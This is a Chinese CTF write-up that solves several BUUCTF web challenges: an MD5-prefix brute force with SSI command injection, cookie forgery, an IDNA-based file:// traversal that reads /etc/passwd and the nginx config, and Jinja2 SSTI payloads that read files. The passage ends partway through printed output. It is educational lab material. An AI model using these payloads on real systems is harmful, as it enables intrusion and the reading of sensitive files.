源码当中存在许多莫名其妙的***,可能是其他源码,这不是重点。

解题

html源码没什么可读性,主要关注php源码。

稍微整理下,进行源码分析:

<?php
# 不可见的源码被我删掉了
# 启动输出缓冲区
ob_start();

function get_hash()
{
# 定义ascii字符以及一些常见符号
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
# mt_rand是获取随机整数的,这是从定义的字符串当中随机取出整数,并且拼接在一起
# 随机从$chars当中取出字符串,一共5个
$random = $chars[mt_rand(0, 73)] . $chars[mt_rand(0, 73)] . $chars[mt_rand(0, 73)] . $chars[mt_rand(0, 73)] . $chars[mt_rand(0, 73)]; //Random 5 times
# uniqid():返回唯一标识符,且是基于当前时间和微秒数。
# content是唯一标识符和随机字符串拼接的结果
$content = uniqid() . $random;
// 返回$content的哈希值
return sha1($content);
}

// 控制数据包类型
header("Content-Type: text/html;charset=utf-8");

// 存在检测
if (isset($_POST['username']) and $_POST['username'] != '') {
# 默认值(静态)
$admin = '6d0bc1';
# $admin 和传入的密码的 md5加密值 的 前六位相等
if ($admin == substr(md5($_POST['password']), 0, 6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";

# 创建文件路径,get_hash()是唯一标识符函数。
$file_shtml = "public/" . get_hash() . ".shtml";
# 以写入为主,打开这个文件。
# 当文件无法打开时,转到die终止程序。
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
# 得到用户名拼接的特殊字符串,部分被掩饰无法观察,可能带上了flag
$text = '******<h1>Hello,' . $_POST['username'] . '</h1>******';
# 写入文件当中,并且关闭文件
fwrite($shtml, $text);
fclose($shtml);
# 表示程序结束
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}
} else {
# 某些源码不可见
echo '';
}

如果我想读取flag,或者文件目录,应该从哪下手?

第一个需要跨越的障碍:md5字符串的截取问题

$admin == substr(md5($_POST['password']), 0, 6)

第二个需要跨越的障碍: 路径文件是否存在的问题

$file_shtml = "public/" . get_hash() . ".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
# w模式是强行创建新文件并且写入,这个or后面的语句是基于无法打开文件的情况存在的,与当下状况有些相悖。

仔细一想,第一个障碍可以尝试自己生成来解决,而第二个,则可以尝试历史生成解决。但是么……有一个非常重要的条件,就是你的password经过认证后就会回显它的URL路径信息了哇……
也就是说,这第二个障碍压根不存在……

# coding=utf-8
import hashlib

for i in range(10000000000):
admin = '6d0bc1'
# $admin 和传入的密码的 md5加密值 的 前六位相等
hash_num = hashlib.md5()
hash_num.update(str(i).encode('utf-8'))
# print(hash_num.hexdigest())
if admin == hash_num.hexdigest()[0:6]:
print(i)
break

#得到2020666

得到对应的数字后,可以试试成功与否

POST /index.php HTTP/1.1
Host: 03365da0-1edf-4871-a316-f33997a80e63.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://03365da0-1edf-4871-a316-f33997a80e63.node4.buuoj.cn:81
Connection: close
Referer: http://03365da0-1edf-4871-a316-f33997a80e63.node4.buuoj.cn:81/index.php
Upgrade-Insecure-Requests: 1

username=username%27&password=2020666

悠着点哦,password的数字后面是没有任何字符串的。之前做的时候以为是用来标识为utf8编码的,后来试了几十次才发现那根本就是故意匡我的。数字后面根本不需要什么标识符。可能是我个人手误吧。

#下面是返回包的内容
HTTP/1.1 200 OK
Server: openresty
Date: Sun, 17 Sep 2023 12:18:18 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 568
Connection: close
Url_is_here: public/89477d6c1ea3d94cd236804def18384a1d4a0ac3.shtml
Vary: Accept-Encoding
X-Powered-By: PHP/7.1.27

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Login</title>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<meta name="viewport" content="width=device-width">
<link href="public/css/base.css" rel="stylesheet" type="text/css">
<link href="public/css/login.css" rel="stylesheet" type="text/css">
</head>
<body><script>alert('[+] Welcome to manage system')</script>[!] Header error ... <div id="tip"></div>
<div class="foot">
bjd.cn
</div>
</form>
</div></body>
</html>

返回包不仅给出了你需要的URL,甚至还回显了用户名。用户名是一个回显点,也是一个注点。但要怎么注呢?

说实在,给出下面这个路径给我们访问我是真的没想到。

为了解读源码,那时间浪费的有点严重哇……

public/89477d6c1ea3d94cd236804def18384a1d4a0ac3.shtml
之前遇到的SSTI有明显的{{}}特征,结果这次插入{{}}后给我原原本本的返回来了。试了几次都无效,说明漏洞点不在这个知识点。

这个题目根据大佬WP,此处用到的是SSI。原因是因为这个返回的文件使用的Shtml格式文件。

网上查了下相关的shtml的资料,得到的是下面这些:

这里摘录下SSI语法:(具体的摘录来源点我)

SSI语法

SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。

1.显示服务器端环境变量<#echo>
<!–#echo var="DOCUMENT_NAME"–> //本文档名称
<!–#echo var="DATE_LOCAL"–> //现在时间
<! #echo var="REMOTE_ADDR"–> //显示IP地址


2.将文本内容直接插入到文档中<#include>
<! #include file="文件名称"–>
<!--#include virtual="index.html" -->

<! #include virtual="文件名称"–>
<!--#include virtual="/www/footer.html" -->

3.显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)
<! #flastmod file="文件名称"–> //文件最近更新日期
<!–#fsize file="文件名称"–> //文件的长度

4.直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
<!–#exec cmd="文件名称"–>
<!--#exec cmd="cat /etc/passwd"-->

<!–#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>

尝试进行命令执行:

# 下面是登录和访问的组合,且只截取关键信息:
GET: /index.php
POST: username=<!--#exec cmd="ls"-->&password=2020666
return: Url_is_here: /public/6c051d83afa3316d4a2424e42ee2f6ec4e5fa983.shtml

GET: /public/6c051d83afa3316d4a2424e42ee2f6ec4e5fa983.shtml
return:
269c770854350d82db9e89bcc2b74715f0a96b6f.shtml
2b88015534a75975d2f8f95ba084719b8274e017.shtml
3302438afa907b9aa614d73ad2694b92866b7c06.shtml
3338dcea2346d456527316503de582e136c25476.shtml
462ad7b3f27588373c66be19b7743e24329fb62e.shtml
4832698852f8f52d76e7e6f1eb69ea7ca22aea74.shtml
4e7f05ec199f63667038ffdeddea53c2d2f639a9.shtml
5be67cb14a7873f7db9bbbb85fa6bb63ec586ac1.shtml
5c18f23485bc4b4089a6b955ce97fbe63957e0d9.shtml
6c051d83afa3316d4a2424e42ee2f6ec4e5fa983.shtml
79e08579dc072805ad10e591e90033af8aa16ff0.shtml
7d18f0c4430d10af80a08d606750dfa831ea9443.shtml
84a8d94e808267e28ce8c8caf975c86f53d4cfaf.shtml
86919bd890c1e69dee60ebc985df7b2a353fc3e5.shtml
a05d058a9c759f8dd06fac9a6b9d06246b4ed759.shtml
bfc2f287e3213c54f5cb90c2df4007305db4ac0a.shtml
c28ede2a2ff0e21643a1c6604cc2d1a216a48211.shtml
ca9ac3b902909d7ec631399cd928603c33f668f5.shtml
css
e094e1247c44f2212aa221bacbcedf8f393750ad.shtml
e320da6214cd5c8854a6656bcf0ca6223b223b57.shtml
images


GET: /index.php
POST: username=<!--#exec cmd="ls ../"-->&password=2020666
return: Url_is_here: /public/b5dc11f405d4632285bcaa9bc2e3329929446166.shtml

GET: /public/b5dc11f405d4632285bcaa9bc2e3329929446166.shtml
return:
flag_990c66bf85a09c664f0b6741840499b2
index.php
index.php.swp
public


# 最终的WP
GET: /index.php
POST: username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666
return: Url_is_here: /public/779afa927fe057a649d7df679526e45587adb4c9.shtml

GET: /public/779afa927fe057a649d7df679526e45587adb4c9.shtml
return: flag{e249427f-cfc2-4d75-8d7c-a73be6ecf05a}

总结

学习了什么是shtml,以及对应的SSI注入。
C站找资源,有的不起眼的搜索列表下下下面的文章,或许就是小白眼中最宝贵的宝藏。因为有些博文永远简短,最适合的是大佬,并不是想要学习的小白想见到的。

[BSidesCF 2019]Kookie

原始信息

<h1>Can you log in?</h1>
<p>
Log in as <tt>admin</tt>!
</p>
<p>
We found the account <tt>cookie</tt> / <tt>monster</tt>
</p>
<div class='challenge rounded'>
<div class='messagebox'>
<div class="alert alert-warning" role="alert">
<p>Invalid username or password!</p>
</div>
</div>
<form method='GET'>
<input type='hidden' name='action' value='login' />
<p>Enter your password below!</p>

<p>Username: <input type='text' class='name' name='username' /></p>
<p>Password: <input type='text' name='password' /></p>
<p><input type='submit' value='Log in!' /></p>
</form>
</div>

提取的信息:
1.登录到admin
2.使用cookie登录
3.登录的用户名和密码的"name"分username和password

解题

1.尝试弱口令爆破,无法爆破。

2.根据cookie提示,思考构造cookie假身份认证的方法:

Cookie: username=admin
hackbar加上cookie后直接发送登录,获得如下结果:

<div class="alert alert-info" role="alert">

<p>Congratulations! You're logged in as
<span class='highlight'>admin</span>
! Your flag is:
<span class='highlight'>
flag{6989dc42-4fa8-42bd-9dc6-1f255711188a}
</span></p>
</div>

[SUCTF 2019]Pythonginx

原始信息

题目信息拆解:Python,nginx

一个ping框,一个python源码:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<form method="GET" action="getUrl">
URL:<input type="text" name="url"/>
<input type="submit" value="Submit"/>
</form>

<code>

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
</code>
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
</body>
</html>

看懂了,但又不完全看懂。

解题

NGINX相关配置文件位置

配置文件存放目录: /etc/nginx
主配置文件: /etc/nginx/conf/nginx.conf
管理脚本: /usr/lib64/systemd/system/nginx.service
模块: /usr/lisb64/nginx/modules
应用程序: /usr/sbin/nginx
程序默认存放位置: /usr/share/nginx/html
日志默认存放位置: /var/log/nginx
配置文件目录为: /usr/local/nginx/conf/nginx.conf

取出Python源码:

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
# 假设传入的是:http://xxx.com/path/
url = request.args.get("url")
host = parse.urlparse(url).hostname
# xxx.com

if host == 'suctf.cc':
return "我扌 your problem? 111"

parts = list(urlsplit(url))
# ['http', 'xxx.com', '/path/']
host = parts[1]
# 'xxx.com'

if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []

for h in host.split('.'):
# 将字符串idna编码后进行utf8编码,加入列表
newhost.append(h.encode('idna').decode('utf-8'))
# ['xxx','com']


parts[1] = '.'.join(newhost)
# xxx.com

finalUrl = urlunsplit(parts).split(' ')[0]
# http://xxx.com/path/
host = parse.urlparse(finalUrl).hostname
# xxx.com
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
# 读取指定内容
else:
return "我扌 your problem? 333"

根据上面进行分析,原理大概可以说是:

#三个判断式:host == 'suctf.cc' 
# 我们需要的是在不满足前面两个判断式的前提下
# 满足第三个判断式
url = request.args.get("url")
| |-- parse.urlparse(url).hostname => 第一层
|-- list(urlsplit(url)) --- [1]=得到域名 => 第二层
|--- 域名编码重写 => 再次核对域名 => 第三层
|---> 读取文件

# 第一个是简单的取出+鉴定
# 第二个是取出域名分割取出域名+鉴定
# 第三个是取出域名,进行idna编码后再合并为URL进行访问

# 1.尝试空格过滤行不通,服务器报错
# 2.不照着官方提供的suctf.cc写域名会导致通过1和2后,无法通过3
# 这么一看,貌似走入了死胡同。

网络上找到的idna这个编码的介绍:

原理
什么是IDN?
国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。

什么是idna?
A library to support the Internationalised Domain Names in Applications (IDNA) protocol as specified in RFC 5891. This version of the protocol is often referred to as “IDNA2008” and can produce different results from the earlier standard from 2003.
>>> import idna
>>> print(idna.encode(u'ドメイン.テスト'))
结果:xn--eckwd4c7c.xn--zckzah
>>> print idna.decode('xn--eckwd4c7c.xn--zckzah')
结果:ドメイン.テスト

Demo:
℆这个字符,如果使用python3进行idna编码的话
print('℆'.encode('idna'))
结果
b'c/u'
如果再使用utf-8进行解码的话
print(b'c/u'.decode('utf-8'))
结果
c/u
通过这种方法可以绕过网站的一些过滤字符

从表面观察看,是将某些字符编码转字符。具体怎么解决呢?

其实这里思路已经很明显了。

# 上面的python函数实现是这样子的:
h.encode('idna').decode('utf-8')
# 如果字符串h编码后返回我们期待的字符串呢?
>> 'ⓒ'.encode('idna').decode('utf-8')
'c'

这就是攻击点。第一次接触,经验不足,知道坑在哪也不知道怎么解决。

既然思路有了,怎么写爆破脚本呢?

写脚本的思路大概是这样子的:
1.源码仅URL传入,无其它传入,考虑直接利用这个函数
2.三个 == 的绕过,使用idna绕过第一层和第二层的纯域名核对,idna编码还原绕过第三层。
3.符合第2点的部分输出True,并输出字符串

源码改装也就是该几个输出和传入而已。

#写脚本前的补充说明:
chr() #用于将 Unicode 码点转换为对应的字符
# python中,chr处理的数字范围是1114111。
# 前 65536 个码点被称为基本多文种平面(Basic Multilingual Plane,简称 BMP),它们用于表示绝大部分常用字符和符号,包括 ASCII 字符集中的所有字符。
# 这是使用65536攻击的原因

爆破脚本:

from urllib import parse
from urllib.parse import urlparse, urlunsplit, urlsplit


def getUrl(url):
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
print(url)
return True
else:
return False

for x in range(65536):
c = chr(x)
# 测试每数字所转字符串是否符合源码的条件
try:
# 条件吻合再输出
if getUrl("file://suctf.c{}/".format(c)):
print("str: " + c + " unicode: \\u" + str(hex(x))[2:])
except:
pass

攻击的脚本最好放在cmd跑,放在Pycharm跑,能出的字符绝对比cmd少一半。

下面这个是cmd的结果:

file://suctf.cℂ
str: ℂ unicode: \u2102
file://suctf.cℭ
str: ℭ unicode: \u212d
file://suctf.cⅭ
str: Ⅽ unicode: \u216d
file://suctf.cⅽ
str: ⅽ unicode: \u217d
file://suctf.cⒸ
str: Ⓒ unicode: \u24b8
file://suctf.cⓒ
str: ⓒ unicode: \u24d2
file://suctf.cC
str: C unicode: \uff23
file://suctf.cc
str: c unicode: \uff43

接下来构造下访问的那个url:

url=file://suctf.cⓒ

寻常直接访问是没什么问题的,可以尝试url再访问,这是一种方法。

或者可以选择直接在URL框输入你的字符串,有一定的成功概率。

也不知道出了上什么原因,转url格式放bp和直接放url总是失败,不编译放url框反倒没问题,具体原因不晓得。

url='file://suctf.cⓒ';
echo urlencode(url);

访问时返回这个就证明你绕过那三层代码了。

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

这个时候需要的是再注意下绕过后代码的功能点是什么:

 urllib.request.urlopen(finalUrl).read()
# 仔细一看,这个是读取url对象的内容。
# 结合上面提到的nginx配置那个部分,尝试访问下服务器内的文件
# 读取https是肯定不现实的,尝试使用file读取内部文件

为了方便测试,稍微改下脚本:

$a = '../../../../..//etc/passwd'; # 这个地方就是我们要注入的内容
echo urlencode(('file://suctf.cⓒ/'.$a));

下面是测试环节:

get:?url=file://suctf.cⓒ/../../../../..//etc/passwd
return:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false


# 成功访问到密码文件后,尝试访问nginx配置文件
# 上面访问的末尾提示的信息是:nginx在user,usr貌似是这个的另外一种写法?
# 遗憾的是并不是直接放在etc文件夹当中的
# 这里为什么使用/usr/local/这个路径,个人猜测应该是linux的常规配置吧
# 如果有大佬知道为什么还请告知
get:?url=file://suctf.cℂ/../../../../../../usr/local/nginx/conf/nginx.conf
return:
server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;
}
# location /flag {
# alias /usr/fffffflag;
# }
}

# 现在知道flag的位置后,直接访问flag
get:?url=file://suctf.cℂ/usr/fffffflag
return: flag{b12eb42f-241a-4ffd-9940-94100027acba}

[GYCTF2020]FlaskApp

原始信息

两个框框,一个输入的是加密为base64字符串,一个输入解密base64字符串,一个提示为pin
题目提示信息为flask app,说明与flask框架相关。

解题

解题记住一点,有输入输出,就一定要尝试任何方法进行输入注入和回显(血的教训,大佬终究是太高明了……)

为了方便解题,这里先写一个脚本进行协助。具体原理:

原则上来说,将每个表单发送的和接收的方式记住了,就能模拟浏览器访问,省去我们繁琐的解题步骤。看了很多篇大佬写的文章,或许对他们了解的人来说这不是什么痛点,但对小白来说是挺痛的……

下面的脚本主要是模拟了数据的收发,只需要输入想要注入的数据,脚本会自动省去手动使用解密页面的解密框框直接解密,以及将双层html实体解密为单层。

import request,html

## 两种正则表达式获取对应的值
def reqs(url,token1,cmd):
header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0" }
data = {
'csrf_token' : token1,
'text' : cmd,
'submit' : '提交'
}
reqs = requests.post(url, headers=header,data=data)
res = r'结果\s*:\s*([a-zA-Z0-9+/=]+)'

strs = ''
for result in re.finditer(res,reqs.text):
strs+=result.group()

return strs.split(':')[1]

def repo(url,token2,cmds):
header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0" }

data = {
'csrf_token' : token2,
'text' : cmds,
'submit' : '提交'
}

# 获取返回的post数据
reqs = requests.post(url, headers=header,data=data)
# 临时写入文件当中,确保数据的准确性不会受到编码等因素的干扰
with open('xxx.txt','w') as file:
file.write(reqs.text)
file.close()
with open('xxx.txt','r') as file:
lists = file.readlines()

all_list = []
code =False
for value in lists:
if value == '\t<button type="button" class="close" data-dismiss="alert">&times;</button>\n':
code = True
continue
if code:
if value=="</div>\n":
code = False
continue
all_list.append(value)
try:
all_list[0] = all_list[0].split(':')[1]

for value in all_list:
print([html.unescape(html.unescape(value))])
except:
# 出现异常情况的时候打印值查看原因
print(all_list)

def cmd_html(cmdsf,url):
token1 = 'ImVkOGEwMmNmOGJhYTA0MDJmY2M1ZGFhNmIyYTI2MjU5YjA0MzE5NjEi.ZQ0CAw.ij40xETpVLk-PRPjS9-0B6WcS7E'
cmd = cmdsf
# 调用获取加密函数
cmds = reqs(url, token1, cmd)
url = url + 'decode'
token2 = 'ImVkOGEwMmNmOGJhYTA0MDJmY2M1ZGFhNmIyYTI2MjU5YjA0MzE5NjEi.ZQ0CEw.34tOrFrNBRRXBPC_DtLibdVyqN8'
# 调用获取解密值
repo(url, token2, cmds)



if __name__ == '__main__':
url = "http://52243be5-e05e-48ef-afe4-96b8afa41c96.node4.buuoj.cn:81/"
cmd = input("请输入注入语句:")
print('返回的结果为:')
cmd_html(cmd,url)

上面的token1和token2一般是不用改的,如果题目有变动改下即可。cmd是我们手动输入的命令,或者注入模板。

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

或者这个也行:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

上面是大佬的两个注入模板,这里就一步步拆解下:

下面全属于使用脚本测试的内容

获取基类:

请输入注入语句:{{().__class__}}
返回的结果为:
[" <class 'tuple'>\n"]

获取基类元组:

请输入注入语句:{{().__class__.__bases__}}
返回的结果为:
[" (<class 'object'>,)\n"]

获取当前类所有子类的列表:

请输入注入语句:{{().__class__.__bases__[0].__subclasses__()}}
返回的结果为:
[" [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'functools.partialmethod'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class '_random.Random'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class '_ast.AST'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class '__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, 